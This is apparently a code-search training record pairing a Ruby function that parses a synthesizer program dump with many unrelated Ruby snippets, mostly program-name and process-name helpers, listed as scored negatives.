prog_bytes[offset]}\n (data[:step_length]...data[:seq_notes].size).each do |i|\n data[:seq_notes][i] = ''\n end\n # puts data[:seq_notes].join(' ')\n\n data[:lfo_rate_vis] = data[:lfo_bpm_sync] == 'ON' ? data[:lfo_rate_bpm] : data[:lfo_rate_hr]\n data[:eg_int_abs] = data[:eg_int_signed].abs\n data[:lfo_int_abs] = data[:lfo_int_signed].abs\n data\nend", "def get_program_midi_data(data)\n valid = data[0] == 0xF0 &&\n data[1] == 0x42 &&\n (data[2] & 0xF0 == 0x30) &&\n data[3] == 0x00 &&\n data[4] == 0x01 &&\n data[5] == 0x44 &&\n (data[6] == 0x4C || data[6] == 0x40) &&\n data[-1] == 0xF7\n if data[6] == 0x40\n # current program\n program = nil\n start = 7\n else\n program = data[7]\n start = 9\n end\n prog = data[start...-1]\n raise \"Invalid program\" unless valid && prog.size == 512\n from_bytes midi_decoder prog\nend", "def tool\n name.split('_')[0]\n end", "def program\n ::HubEdos::Common::Reference::Descriptor.new(@data['program']) if @data['program']\n end", "def record_progname=(value_)\n @record_progname = value_.to_s.gsub(/\\s+/, '')\n end", "def raw_script_name\n File.basename($0)\n end", "def program(name = (not_set = true))\n if not_set\n @properties.fetch(:program) { ::File.basename($0, \".*\") }\n else\n @properties[:program] = name\n end\n end", "def get_meeting_program_name\n meeting_program ? meeting_program.get_full_name : (data_import_meeting_program ? data_import_meeting_program.get_full_name : '?')\n end", "def app_name\n Rucola::InfoPlist.open((RUBYCOCOA_ROOT + 'config/Info.plist').to_s).app_name\n end", "def pidof(program)\n pids = []\n full = cmd_exec('ps -elf').to_s\n full.split(\"\\n\").each do |pid|\n pids << pid.split(' ')[3].to_i if pid.include? program\n end\n pids\n end", "def progname\n @loggers.each do |logger|\n return logger.progname if logger.respond_to?(:progname)\n end\n end", "def executable\n return File.basename(archive_path)\n end", "def progname\n @loggers.first.progname\n end", "def program_name?\n\t\"diagnostics\"\n end", "def get_program_file_data(program_file)\n File.open(program_file,'rb'){|f| f.read}\nend", "def program_name(qc_inspection_type_code)\n ProgramFunction.generic_program_name( 'QC', qc_inspection_type_code )\n end", "def get_nameprog_swversion\r\n nomeprog = APP_CUPERATIVA_NAME\r\n ver_prog = CuperativaGui.sw_version_to_int\r\n return nomeprog, ver_prog\r\n end", "def show_program_h_num\n\t\t\tputs \" Number of program headers: #{@elf_program_h_num}\"\n\t\tend", "def id(prog); @progs[prog]; end", "def calc_program_name project_symbol\n camel_to_snake_case(project_symbol).downcase\n end", "def get_meeting_program_verbose_name\n meeting_program ? meeting_program.get_verbose_name : (data_import_meeting_program ? data_import_meeting_program.get_verbose_name : '?')\n end", "def manifest_name\n \"MANIFEST.#{name}\"\n end", "def process_name\n\n\t\t::Pantheios::Core.process_name\n\tend", "def avd_name\n command(\"avd name\").split(\"\\n\")[0]\n end", "def get_meeting_program_name\n meeting_program ? meeting_program.get_meeting_program_name : '?'\n end", "def get_meeting_program_name\n meeting_program ? meeting_program.get_full_name : '?'\n end", "def get_app_name\n if ENV.key?('INSTANA_SERVICE_NAME')\n return ENV['INSTANA_SERVICE_NAME']\n end\n\n if defined?(::Resque)\n # Just because Resque is defined doesn't mean this is a resque process necessarily\n # Check arguments for a match\n if ($0 =~ /resque-#{Resque::Version}/)\n return \"Resque Worker\"\n elsif ($0 =~ /resque-pool-master/)\n return \"Resque Pool Master\"\n elsif ($0 =~ /resque-scheduler/)\n return \"Resque Scheduler\"\n end\n end\n\n if defined?(::RailsLts) || defined?(::Rails)\n return Rails.application.class.to_s.split('::')[0]\n end\n\n if $0.to_s.empty?\n return \"Ruby\"\n end\n\n exe = File.basename($0)\n if exe == \"rake\"\n return \"Rake\"\n end\n\n return exe\n rescue Exception => e\n Instana.logger.info \"#{__method__}:#{File.basename(__FILE__)}:#{__LINE__}: #{e.message}\"\n Instana.logger.debug { e.backtrace.join(\"\\r\\n\") }\n return \"Ruby\"\n end", "def script_name # not file name\n sname = fetch(:script_name)\n return sname if sname\n name = dklet_script.basename('.rb').to_s\n pname = script_path.basename.to_s\n \"#{pname}_#{name}\"\n end", "def which program\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exe = File.join(path, program)\n return exe if File.file?(exe)\n end\n nil\n end", "def program_params\n params[:program]\n end", "def get_process_name\n processes = client.sys.process.get_processes\n current_pid = session.sys.process.getpid\n processes.each do |proc|\n return proc['name'] if proc['pid'] == current_pid\n end\n return nil\n end", "def show_program_h_offset\n\t\t\tputs \" Start of program headers: #{@elf_program_h_offset.to_h} (bytes into file)\"\n\t\tend", "def parsed_file_name\n data_file_name.split('.')[0]\n end", "def process_name\r\n @process_name ||= $0.dup\r\n end", "def this_program\n @program\n end", "def machine\n\t\tif @argv.size < 1\n\t\t\treturn nil\n\t\tend\n\n\t\tif @argv[0] == '_'\n\t\t\treturn nil\n\t\tend\n\n\t\treturn @argv[0]\n\tend", "def bapp_name\n bapp.try(:description)\n end", "def launch_configuration_name\n data.launch_configuration_name\n end", "def daemon_name\n File.basename(self.path)\n end", "def get_version(script)\n file_array = IO.readlines script\n version = file_array.grep(/^# Version/)[0].split(\":\")[1].gsub(/^\\s+/,'').chomp\n packager = file_array.grep(/^# Packager/)[0].split(\":\")[1].gsub(/^\\s+/,'').chomp\n name = file_array.grep(/^# Name/)[0].split(\":\")[1].gsub(/^\\s+/,'').chomp\n return version,packager,name\nend", "def program(id)\n get(\"/catalog/titles/programs/#{id.to_s}\")\n end", "def manifest_name(name, pack_type)\n name.chomp(\".#{pack_type}\")\n end", "def record_progname\n @record_progname\n end", "def output_file\n if @argv.include?(\"-o\")\n out = @argv[(@argv.index(\"-o\"))+1] \n Error::message(9) if out.nil? || out == @source || out == \"-d\" || out == \"--debug\"\n return out\n else\n return \"progfile.dat\"\n end\n end", "def extract_manifest_id(prm)\n item = prm[:manifest_id] || prm[:manifest]\n item = item.id if item.is_a?(Manifest)\n item.presence\n end", "def app_info\n \"#{app_name} v#{app_version}\"\n end", "def get_code_name\n code_name = $0\n code_name = Pathname.new(code_name)\n code_name = code_name.basename.to_s\n return code_name\nend", "def manifest_name(name, pack_type)\n return name if File.extname(name.to_s).empty?\n File.basename(name, '.' + pack_type)\n end", "def manifest_name(name, pack_type)\n return name if File.extname(name.to_s).empty?\n File.basename(name, \".#{pack_type}\")\n end", "def manifest_name(name, pack_type)\n return name if File.extname(name.to_s).empty?\n File.basename(name, \".#{pack_type}\")\n end", "def get_meeting_program_verbose_name\n meeting_program ? meeting_program.get_meeting_program_verbose_name : '?'\n end", "def eval_program(program)\n\tbegin\n\t\tvalue, env = eval_program_under(program, {}, [])\n\trescue => e\n\t\tputs e.message\n\t\tvalue, env = nil, nil\n\tend\n\treturn value, env\nend", "def name\n $0.split(\"/\").last\n end", "def title\n program = \"#{@config.program} - \" if @config.program\n \"#{program}#{exception.class}:#{exception.message}\"\n end", "def combined_process_name(process_name)\n process_name[PROCESS_NAME_REGEX,1]\n end", "def get_device_info()\n @errors = []\n info = {}\n return info unless @programmer_path\n\n response = IO.popen(\"#{@programmer_path} I\").readlines\n puts response if $debug\n response.each do |line|\n if line =~ /Error/i\n errors << line\n else\n parts = line.split(/:|\\.\\.\\./)\n info[parts[0].strip.split.join.to_sym] = parts[1].strip if parts.size == 2\n end\n end # each\n info\n end", "def combined_process_name(process_name)\n process_name[PROCESS_NAME_REGEX,1]\n end", "def combined_process_name(process_name)\n process_name[PROCESS_NAME_REGEX,1]\n end", "def parse_app(app)\n if (match = app.match(APP_REGEX))\n {\n :appname => match[1],\n :appversion => match[2],\n }\n else\n raise WebappError, \"#{app} is not a valid app string\"\n end\n end", "def current_application\n Wasko::Applescript.run do\n \"get name of (info for (path to frontmost application))\"\n end\n end", "def get_satellite_eyes_app_name()\n app_name = \"Satellite Eyes\"\n return app_name\nend", "def main_name(path)\n File.basename(path).sub(/\\.[^\\.]+$/,'')\n end", "def program_name?\n \"runs\"\n end", "def program_desc(description=nil)\n if description\n @@program_desc = description\n end\n @@program_desc\n end", "def extract_opcode(dump)\n dump.each_line do |line|\n # If the line is a line of disassembled code...\n m = /\\A\\s+[0-9a-f]+:/i.match line\n\n # Extract the opcode field and remove any internal spaces\n return line.split(/\\t/)[1].split.join unless m.nil?\n end\nend", "def get_filecode()\n \"__EMIT_#{ARGV[0].gsub(/[^\\w]/, \"_\").upcase}__\"\nend", "def app_script_text(bin_file_name)\n <<-TEXT\n#\n# This file was generated by RubyGems.\n#\n# The application '#{@spec.name}' is installed as part of a gem, and\n# this file is here to facilitate running it.\n#\n\nrequire 'rubygems'\n\nversion = \"#{Gem::Requirement.default}\"\n\nif ARGV.first =~ /^_(.*)_$/ and Gem::Version.correct? $1 then\n version = $1\n ARGV.shift\nend\n\ngem '#{@spec.name}', version\nload Gem.bin_path('#{@spec.name}', '#{bin_file_name}', version)\nTEXT\n end", "def name\n @name ||= elf.shstrtab.name_at(header.sh_name)\n end", "def fetch_app(name)\r\n return name if SAMPLES[name].nil?\r\n \"#{name}/#{SAMPLES[name]}\"\r\n end", "def app_name\n @app_name ||= defined_app_const_base? ? defined_app_name : File.basename(destination_root)\n end", "def data_gem_name\n @data_gem_name || \"application_seed_data\"\n end", "def find_procname(pid)\n\tname = nil\n\t@client.sys.process.get_processes.each do |proc|\n\t\tif proc['pid'] == pid.to_i\n\t\t\tname = proc['name']\n\t\tend\n\tend\n\treturn name\nend", "def manifest_file_name\n basename = \"#{name}.yml\"\n end", "def name\n GCODE_DICTIONARY[cmd.to_sym] || :unknown\n end", "def package_name(project)\n \"#{project.name}-#{project.version}-#{project.release}.#{@architecture}.pkg.gz\"\n end", "def get_application_name\r\n root_info = get_rails_root_info\r\n root_info.split('/').last.capitalize\r\n end", "def target2pid(target)\n target ? target[0..(@prefix_len - 1)] : Plezi.app_name\n end", "def get_name(code)\n return code[1]\n end", "def ver\n if v = version\n str = +\"#{program_name} #{[v].join('.')}\"\n str << \" (#{v})\" if v = release\n str\n end\n end", "def package_filename\n \"#{@package.name}_#{@package.version}_#{@package.architecture}.deb\"\n end", "def get_system(code)\n return code[2][1][0][1][1][1]\n end", "def devtools_identifier=(_arg0); end" ]
[ "0.7339312", "0.7284858", "0.6688965", "0.66580594", "0.65611017", "0.65355164", "0.61558723", "0.6115902", "0.6110555", "0.61011547", "0.6089367", "0.6089367", "0.6089367", "0.6019577", "0.598158", "0.5950097", "0.5940333", "0.59152186", "0.59048283", "0.58988595", "0.5789", "0.5772151", "0.57387537", "0.5721331", "0.5711944", "0.56972075", "0.5665504", "0.56272787", "0.56239486", "0.5582318", "0.55799335", "0.55789876", "0.5547422", "0.55458796", "0.5527792", "0.55174303", "0.5438911", "0.54193544", "0.5415052", "0.54040694", "0.5403504", "0.54001534", "0.53893036", "0.53692454", "0.53609705", "0.5336629", "0.53147763", "0.52964884", "0.5291916", "0.5283956", "0.5266335", "0.5261439", "0.52574015", "0.5247179", "0.52211577", "0.52158", "0.5201669", "0.519885", "0.5191987", "0.51914805", "0.518204", "0.5138145", "0.51319414", "0.5131297", "0.5128147", "0.5121361", "0.5096485", "0.5096485", "0.50919986", "0.50737286", "0.5072488", "0.50717497", "0.50705266", "0.506982", "0.5069432", "0.5069432", "0.5068142", "0.5051093", "0.50463843", "0.5046038", "0.50437784", "0.5038993", "0.5023325", "0.5022999", "0.5012713", "0.49966323", "0.4990613", "0.49904713", "0.49894622", "0.49854985", "0.4980512", "0.49778545", "0.49772185", "0.49764258", "0.49684536", "0.49641508", "0.4961387", "0.496128", "0.49611786", "0.49592078" ]
0.6573369
4
Parse program data dump
def parse_program(prog) prog_bytes = to_bytes(prog) data = {} raise "Invalid program" unless prog[0, 4] == 'PROG' name = prog[4...16] data[:name] = program_name(prog) HR_PARAMS.each do |(key, ms_offset, ls_offset, ls_pos, units)| # single byte value value = prog_bytes[ms_offset] data[key] = value # high resolution value value_hr = (value << 2) | ((prog_bytes[ls_offset] >> ls_pos) & 0x03) data[:"#{key}_hr"] = value_hr if units # converted value: data[:"#{key}_#{units}"] = CONVERTERS[units][value_hr] end end CONV_PARAMS.each do |(key, offset, bit_pos, bit_len, units)| value = bits(prog_bytes[offset], bit_pos, bit_len) data[key] = CONVERTERS[units][value] if value != data[key] data[:"#{key}_value"] = value end end data[:seq_notes] = (96..426).step(22).map{|offset| note_name prog_bytes[offset]} (data[:step_length]...data[:seq_notes].size).each do |i| data[:seq_notes][i] = '' end # puts data[:seq_notes].join(' ') data[:lfo_rate_vis] = data[:lfo_bpm_sync] == 'ON' ? data[:lfo_rate_bpm] : data[:lfo_rate_hr] data[:eg_int_abs] = data[:eg_int_signed].abs data[:lfo_int_abs] = data[:lfo_int_signed].abs data end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_program_midi_data(data)\n valid = data[0] == 0xF0 &&\n data[1] == 0x42 &&\n (data[2] & 0xF0 == 0x30) &&\n data[3] == 0x00 &&\n data[4] == 0x01 &&\n data[5] == 0x44 &&\n (data[6] == 0x4C || data[6] == 0x40) &&\n data[-1] == 0xF7\n if data[6] == 0x40\n # current program\n program = nil\n start = 7\n else\n program = data[7]\n start = 9\n end\n prog = data[start...-1]\n raise \"Invalid program\" unless valid && prog.size == 512\n from_bytes midi_decoder prog\nend", "def parse(data); end", "def parse_data(data)\n idx = 0\n @prev_out, @prev_out_index = data[idx...idx+=36].unpack(\"a32I\")\n @script_sig_length, tmp = Protocol.unpack_var_int(data[idx..-1])\n idx += data[idx..-1].bytesize - tmp.bytesize\n @script_sig = data[idx...idx+=@script_sig_length]\n @sequence = data[idx...idx+=4]\n idx\n end", "def get_program_file_data(program_file)\n File.open(program_file,'rb'){|f| f.read}\nend", "def parse(program)\n return read_the_tokens(tokenize(program))\nend", "def parse_data(data)\n # Prevent abortive empty JSON.parse error\n data = '{}' if data.blank?\n\n return \"Error from #{@task}: #{data}\" if data.is_a?(String) && data.include?('No such')\n\n data = JSON.parse(data) if data.is_a?(String)\n\n @output[:relevant_output] = relevant_output( data, @git_files ) unless @git_files.blank?\n data = @output[:relevant_output] unless @settings[:commit].blank?\n data\n end", "def parseFile(player, fName)\n typetoi = { \"DAT\" => 0, \"MOV\" => 1, \"ADD\" => 2, \"SUB\" => 3, \"JMP\" => 4, \"JMZ\" => 5, \"DJZ\" => 6, \"CMP\" => 7}\n modetoi = { \"\\#\" => 0, \"\\$\" => 1, \"\\@\" => 2}\n bufCore = [] # Holds the compiled programs for each player\n f = File.open(fName, \"r\") # Open fName for reading\n puts \"Parsing file: \" + fName\n f.each_line do |line| \n puts line\n line.slice!(/;.*/) # Delete comments\n line1 = line.upcase\n typeIndex = /[A-Z][A-Z][A-Z]/ =~ line1 # Get Type\n if typeIndex != nil # Type exists\n type = $~[0]\n puts \" Type: \" + type\n line1 = $~.post_match # Trim out the type\n numIndex = /[\\-|\\+|\\d]\\d*/ =~ line1 # Get First Field\n \n if numIndex == nil\n puts \"Error, no Fields\"\n else\n fieldA = $~[0].to_i\n end #numIndex...\n \n line1 = $~.pre_match # Before the first field\n line2 = $~.post_match # After the first field\n \n modeIndex = /[\\#\\$\\@]/ =~ line1 # Get Mode for first field\n \n if modeIndex == nil\n modeA = \"$\"\n else\n modeA = $~[0]\n end # if modeIndex\n puts \" ModeA: \" + modeA # Print the assembled instruction\n puts \" FieldA: #{fieldA}\"\n\n numIndex = /[\\-|\\+|\\d]\\d*/ =~ line2 # Get Second Field\n \n if numIndex == nil\n fieldB = fieldA # Copy first field & mode if no second\n modeB = modeA\n else\n fieldB = $~[0].to_i\n\n line1 = $~.pre_match # Before the second field\n\n modeIndex = /[\\#\\$\\@]/ =~ line1 # Get Mode for second field\n if modeIndex == nil\n modeB = \"$\"\n else\n modeB = $~[0]\n end\n end # if numIndex...\n \n puts \" ModeB: \" + modeB\n puts \" FieldB: #{fieldB}\"\n puts \" Opcode: #{typetoi[type]}, #{modetoi[modeA]}, #{fieldA}, #{modetoi[modeB]}, #{fieldB}\"\n bufCore << [typetoi[type], modetoi[modeA], fieldA, modetoi[modeB], fieldB, player]\n end #if typeIndex...\n # Instruction Regexp: /[A-Za-z]+|[#$@]|[[-|+]\\d+]/ \n # Comment Regexp: /;.*/ \n end #each_line\n f.close\n puts \"Core Dump, player[#{player}]:\" # Write out the compiled program\n bufCore.each do |element| \n puts \" #{element[0]}, #{element[1]}, #{element[2]}, #{element[3]}, #{element[4]}\"\n end #bufCore.each\n puts\n bufCore\n end", "def seed_parser(db)\n warn \"Parsing data files in #{@options[:datadir]}/#{db}\" if @options[:verbose]\n\n @data[db] = { }\n\n # There are three files we need: SEED.md52id2ont, SEED.md52id2func and\n # SEED.id2subsystems, each will be read and placed in the @data structure\n # under the keys 'SEED' and the respective file endings. The first two will\n # be a hash indexed by md5sum, the third a hash indexed by subsystem id\n # (which can be found in the md52id2ont file).\n #\n # 1. SEED.md52id2ont\n begin\n warn \"\\tSEED.md52id2ont\" if @options[:verbose]\n data = {}\n @data['SEED']['md52id2ont'] = data\n File.new(\"#{@options[:datadir]}/#{db}/SEED.md52id2ont\").each_with_index do |line, linenum|\n begin\n\tline.chomp!\n\tfields = line.split(/\\s*\\t\\s*/)\n\n\t# We have entries with multiple annotations\n\tdata[fields[0]] ||= []\n\tdata[fields[0]] << fields[1]\n rescue ArgumentError\n\twarn \"\\t\\tSEED.md52id2ont error at #{linenum}\" if @options[:verbose]\n end\n end\n rescue\n warn \"Failed to parse #{@options[:datadir]}/#{db}/SEED.md52id2ont: #{$!}, backtrace:\\n\\t#{$!.backtrace.join(\"\\n\\t\")}\"\n exit\n end\n\n # 2. SEED.md52id2func\n begin\n warn \"\\tSEED.md52id2func\" if @options[:verbose]\n data = {}\n @data['SEED']['md52id2func'] = data\n File.new(\"#{@options[:datadir]}/#{db}/SEED.md52id2func\").each_with_index do |line, linenum|\n line.chomp!\n begin\n\tfields = line.split(/\\s*\\t\\s*/)\n\n\t# We may have multiple rows. We only care about picking up the complete list of organisms\n\tif data[fields[0]]\n\t data[fields[0]][:organisms] << fields[3]\n\telse\n\t data[fields[0]] = { \n\t desc: fields[2],\n\t organisms: [ fields[3] ]\n\t }\n\tend\n rescue ArgumentError\n\twarn \"\\t\\tSEED.md52id2func error at #{linenum}\" if @options[:verbose]\n end\n end\n rescue\n warn \"Failed to parse #{@options[:datadir]}/#{db}/SEED.md52id2func: #{$!}, backtrace:\\n\\t#{$!.backtrace.join(\"\\n\\t\")}\"\n exit\n end\n\n # 3. SEED.id2subsystems\n begin\n warn \"\\tSEED.id2subsystems\" if @options[:verbose]\n data = {}\n @data['SEED']['id2subsystems'] = data\n File.new(\"#{@options[:datadir]}/#{db}/SEED.id2subsystems\").each_with_index do |line, linenum|\n begin\n\tline.chomp!\n\tfields = line.split(/\\s*\\t\\s*/)\n\tdata[fields[-1]] = fields[0..-2]\n rescue ArgumentError\n\twarn \"\\t\\tSEED.id2subsystems error at #{linenum}\" if @options[:verbose]\n end\n end\n rescue\n warn \"Failed to parse #{@options[:datadir]}/#{db}/SEED.id2subsystems: #{$!}, backtrace:\\n\\t#{$!.backtrace.join(\"\\n\\t\")}\"\n exit\n end\n\n # Open an output file\n fname = \"#{@options[:basename]}.seed\"\n begin\n warn \"Opening #{fname} for SEED output\" if @options[:verbose]\n @data[db][:outfile] = File.new(fname, \"w\")\n rescue\n warn \"Failed to open file for SEED output #{fname}: #{$!}, backtrace: #{$!.backtrace.join(\"\\n\\t\")}\"\n end\nend", "def parse_program\n skip_skips\n stmts = []\n while @pos < @len\n stmts << parse_stmt\n consume(:semicolon)\n end\n Node.new(:program, stmts: stmts.compact)\n end", "def parse_output_data(filepath)\n # NOPE!\nend", "def parse(rawdata)\n end", "def parse\n input_data.each do |filename, data|\n rowdata_template = OpenStruct.new\n @preprocess_block.call(filename, rowdata_template) if @preprocess_block\n\n arrived_at_table_data = false\n\n data.split(\"\\r\\n\").each do |line|\n next if line.strip.empty? # Skip blank and whitespace lines\n\n if !arrived_at_table_data\n next if line =~ /\\ACreated by SunData/ # Skip created by line\n if date_match = line.match(/\\A(\\d\\d\\d\\d-\\d\\d-\\d\\d)\\t\\tLocal time is (GMT.\\d+ Hrs)/)\n rowdata_template.date = date_match[1]\n rowdata_template.timezone = date_match[2]\n end\n\n if sunscan_match = line.match(/\\ASunScan probe (v.*)/)\n rowdata_template.sunscan_version = sunscan_match[1]\n end\n\n if matches = line.scan(/\\s*([^\\t:]+)\\s*:\\s*([^\\t:]+)/)\n matches.flatten.map(&:strip).each_slice(2) do |key, value|\n next if value.nil? || value.empty?\n rowdata_template[key.downcase.gsub(\" \", \"_\")] = value\n end\n end\n\n # Once we hit the table hearder we can start processing tabular data.\n # The header is two lines long because of the formatting.\n next if line =~ /\\ATime\\tPlot\\t/\n arrived_at_table_data = true and next if line =~ /\\s+mitted\\s+ent/\n\n\n else\n rowdata = rowdata_template.dup\n table_line = line.split(\"\\t\")\n rowdata.time = table_line[0]\n rowdata.plot = table_line[1]\n rowdata.sample = table_line[2]\n rowdata.transmitted = table_line[3]\n rowdata.spread = table_line[4]\n rowdata.incident = table_line[5]\n rowdata.beam = table_line[6]\n rowdata.zenith_angle = table_line[7]\n rowdata.lai = table_line[8]\n rowdata.notes = table_line[9]\n # Only record output data once the full line data has been captured.\n output_data << rowdata\n end\n end\n end\n end", "def structure_dump() end", "def parse_input(input_file); end", "def parse_input(input_file); end", "def run\n $schema.each do |k, v|\n case k\n when 'queryType'\n $query= v['name'] if v\n when 'mutationType'\n $mutation= v['name'] if v\n when 'subscriptionType'\n $subscription= v['name'] if v\n when 'directives'\n parse_directives v\n when 'types'\n parse_types_1 v\n else\n STDERR.puts \"Unrecognized schema element '#{k}'. This probably means that the parser file '#{$0}' needs to be updated to support it.\"\n exit 1\n end\n end\n\n # Now we are certain that $query/$mutation/$subscription are filled in.\n # They contain the names of types that serve as entry points into the respective parts of schema.\n if !$query; $log.fatal \"Did not find name of query entry in JSON schema; exiting.\"; exit 1 end\n if !$mutation; $log.fatal \"Did not find name of mutation entry in JSON schema; exiting.\"; exit 1 end\n if $subscription\n $log.error \"Found a 'subscription' entry point. Previously this wasn't present, so an update to '#{$0}' is needed to support it. For implementation, see existing implementations for queries and mutations; exiting.\"\n exit 1\n end\n\n # Let's now parse all types. This is the pass 2 of type parsing.\n parse_types_2 $schema['types']\n\n # And now we can output all files to disk.\n output_files()\n\n #pp $catalog\n puts \"Done. Methods: #{$catalog[:total]}.\"\n\n exit 0\nend", "def program(tokens, types, i)\n @program = Prog.new()\n x = @program.ParseProg(tokens, types, i)\n @program.PrintProg\n end", "def _parse_\n\t\t\tout = []\n\t\t\tstr = ''\n\t\t\tfresh = true\n\t\t\twhile @scanner.rest? do\n\t\t\t\t# last ||= 0\n\t\t\t\t# out.last.tap do |o|\n\t\t\t\t# \tif o.is_a?(Hash)\n\t\t\t\t# \t\tputs \"[#{@scanner.pos}] Parser has a Dictionary (#{o.class.name}) with data:\"\n\t\t\t\t# \t\to.each do |k, v|\n\t\t\t\t# \t\t\tputs \" #{k}: is #{v.class.name} with data: #{v.to_s[0..4]}#{\"...\" if v.to_s.length > 5}\"\n\t\t\t\t# \t\tend\n\t\t\t\t# \telse\n\t\t\t\t# \t\tputs \"[#{@scanner.pos}] Parser has #{o.class.name} with data: #{o.to_s[0..4]}#{\"...\" if o.to_s.length > 5}\"\n\t\t\t\t# \tend\n\t\t\t\t# \tputs \"next is #{@scanner.peek 8}\"\n\t\t\t\t# end unless (last == out.count) || (-1 == (last = out.count))\n\t\t\t\tcase\n\t\t\t\t##########################################\n\t\t\t\t## parse an Array\n\t\t\t\t##########################################\n\t\t\t\twhen @scanner.scan(/\\[/)\n\t\t\t\t\tout << _parse_\n\t\t\t\t##########################################\n\t\t\t\t## parse a Dictionary\n\t\t\t\t##########################################\n\t\t\t\twhen @scanner.scan(/<</)\n\t\t\t\t\tdata = _parse_\n\t\t\t\t\tobj = {}\n\t\t\t\t\tobj[data.shift] = data.shift while data[0]\n\t\t\t\t\tout << obj\n\t\t\t\t##########################################\n\t\t\t\t## return content of array or dictionary\n\t\t\t\t##########################################\n\t\t\t\twhen @scanner.scan(/\\]/), @scanner.scan(/>>/)\n\t\t\t\t\treturn out\n\t\t\t\t##########################################\n\t\t\t\t## parse a Stream\n\t\t\t\t##########################################\n\t\t\t\twhen @scanner.scan(/stream[\\r\\n]/)\n\t\t\t\t\t@scanner.pos += 1 if @scanner.peek(1) == \"\\n\".freeze && @scanner.matched[-1] != \"\\n\".freeze\n\t\t\t\t\t# the following was dicarded because some PDF files didn't have an EOL marker as required\n\t\t\t\t\t# str = @scanner.scan_until(/(\\r\\n|\\r|\\n)endstream/)\n\t\t\t\t\t# instead, a non-strict RegExp is used:\n\t\t\t\t\tstr = @scanner.scan_until(/endstream/)\n\t\t\t\t\t# raise error if the stream doesn't end.\n\t\t\t\t\traise \"Parsing Error: PDF file error - a stream object wasn't properly colsed using 'endstream'!\" unless str\n\t\t\t\t\t# need to remove end of stream\n\t\t\t\t\tif out.last.is_a? Hash\n\t\t\t\t\t\t# out.last[:raw_stream_content] = str[0...-10] #cuts only one EON char (\\n or \\r)\n\t\t\t\t\t\tout.last[:raw_stream_content] = unify_string str.sub(/(\\r\\n|\\n|\\r)?endstream\\z/, \"\").force_encoding(Encoding::ASCII_8BIT)\n\t\t\t\t\telse\n\t\t\t\t\t\twarn \"Stream not attached to dictionary!\"\n\t\t\t\t\t\tout << str.sub(/(\\r\\n|\\n|\\r)?endstream\\z/, \"\").force_encoding(Encoding::ASCII_8BIT)\n\t\t\t\t\tend\n\t\t\t\t##########################################\n\t\t\t\t## parse an Object after finished\n\t\t\t\t##########################################\n\t\t\t\twhen str = @scanner.scan(/endobj/)\n\t\t\t\t\t#what to do when this is an object?\n\t\t\t\t\tif out.last.is_a? Hash\n\t\t\t\t\t\tout << out.pop.merge({indirect_generation_number: out.pop, indirect_reference_id: out.pop})\n\t\t\t\t\telse\n\t\t\t\t\t\tout << {indirect_without_dictionary: out.pop, indirect_generation_number: out.pop, indirect_reference_id: out.pop}\n\t\t\t\t\tend\n\t\t\t\t\tfresh = true\n\t\t\t\t\t# puts \"!!!!!!!!! Error with :indirect_reference_id\\n\\nObject #{out.last} :indirect_reference_id = #{out.last[:indirect_reference_id]}\" unless out.last[:indirect_reference_id].is_a?(Fixnum)\n\t\t\t\t##########################################\n\t\t\t\t## parse a Hex String\n\t\t\t\t##########################################\n\t\t\t\twhen str = @scanner.scan(/<[0-9a-fA-F]+>/)\n\t\t\t\t\t# warn \"Found a hex string\"\n\t\t\t\t\tout << unify_string([str[1..-2]].pack('H*').force_encoding(Encoding::ASCII_8BIT))\n\t\t\t\t##########################################\n\t\t\t\t## parse a Literal String\n\t\t\t\t##########################################\n\t\t\t\twhen @scanner.scan(/\\(/)\n\t\t\t\t\t# warn \"Found a literal string\"\n\t\t\t\t\tstr = ''.force_encoding(Encoding::ASCII_8BIT)\n\t\t\t\t\tcount = 1\n\t\t\t\t\twhile count > 0 && @scanner.rest? do\n\t\t\t\t\t\tscn = @scanner.scan_until(/[\\(\\)]/)\n\t\t\t\t\t\tunless scn\n\t\t\t\t\t\t\twarn \"Unknown error parsing string at #{@scanner.pos} for string: #{str}!\"\n\t\t\t\t\t\t\tcount = 0 # error\n\t\t\t\t\t\t\tnext\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tstr += scn.to_s\n\t\t\t\t\t\tseperator_count = 0\n\t\t\t\t\t\tseperator_count += 1 while str[-2-seperator_count] == \"\\\\\"\n\n\t\t\t\t\t\tcase str[-1]\n\t\t\t\t\t\twhen '('\n\t\t\t\t\t\t\t## The following solution might fail when (string ends with this sign: \\\\)\n\t\t\t\t\t\t\tcount += 1 unless seperator_count.odd?\n\t\t\t\t\t\twhen ')'\n\t\t\t\t\t\t\tcount -= 1 unless seperator_count.odd?\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\twarn \"Unknown error parsing string at #{@scanner.pos} for string: #{str}!\"\n\t\t\t\t\t\t\tcount = 0 # error\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t# The PDF formatted string is: str[0..-2]\n\t\t\t\t\t# now starting to convert to regular string\n\t\t\t\t\tstr_bytes = str.force_encoding(Encoding::ASCII_8BIT)[0..-2].bytes.to_a\n\t\t\t\t\tstr = []\n\t\t\t\t\tuntil str_bytes.empty?\n\t\t\t\t\t\tcase str_bytes[0]\n\t\t\t\t\t\twhen 13 # eol - \\r\n\t\t\t\t\t\t\t# An end-of-line marker appearing within a literal string without a preceding REVERSE SOLIDUS\n\t\t\t\t\t\t\t# shall be treated as a byte value of (0Ah),\n\t\t\t\t\t\t\t# irrespective of whether the end-of-line marker was a CARRIAGE RETURN (0Dh), a LINE FEED (0Ah), or both.\n\t\t\t\t\t\t\tstr_bytes.shift\n\t\t\t\t\t\t\tstr_bytes.shift if str_bytes[0] == 10\n\t\t\t\t\t\t\tstr << 10\n\t\t\t\t\t\twhen 10 # eol - \\n\n\t\t\t\t\t\t\t# An end-of-line marker appearing within a literal string without a preceding REVERSE SOLIDUS\n\t\t\t\t\t\t\t# shall be treated as a byte value of (0Ah),\n\t\t\t\t\t\t\t# irrespective of whether the end-of-line marker was a CARRIAGE RETURN (0Dh), a LINE FEED (0Ah), or both.\n\t\t\t\t\t\t\tstr_bytes.shift\n\t\t\t\t\t\t\tstr_bytes.shift if str_bytes[0] == 13\n\t\t\t\t\t\t\tstr << 10\n\t\t\t\t\t\twhen 92 # \"\\\\\".ord == 92\n\t\t\t\t\t\t\tstr_bytes.shift\n\t\t\t\t\t\t\trep = str_bytes.shift\n\t\t\t\t\t\t\tcase rep\n\t\t\t\t\t\t\twhen 110 #n\n\t\t\t\t\t\t\t\tstr 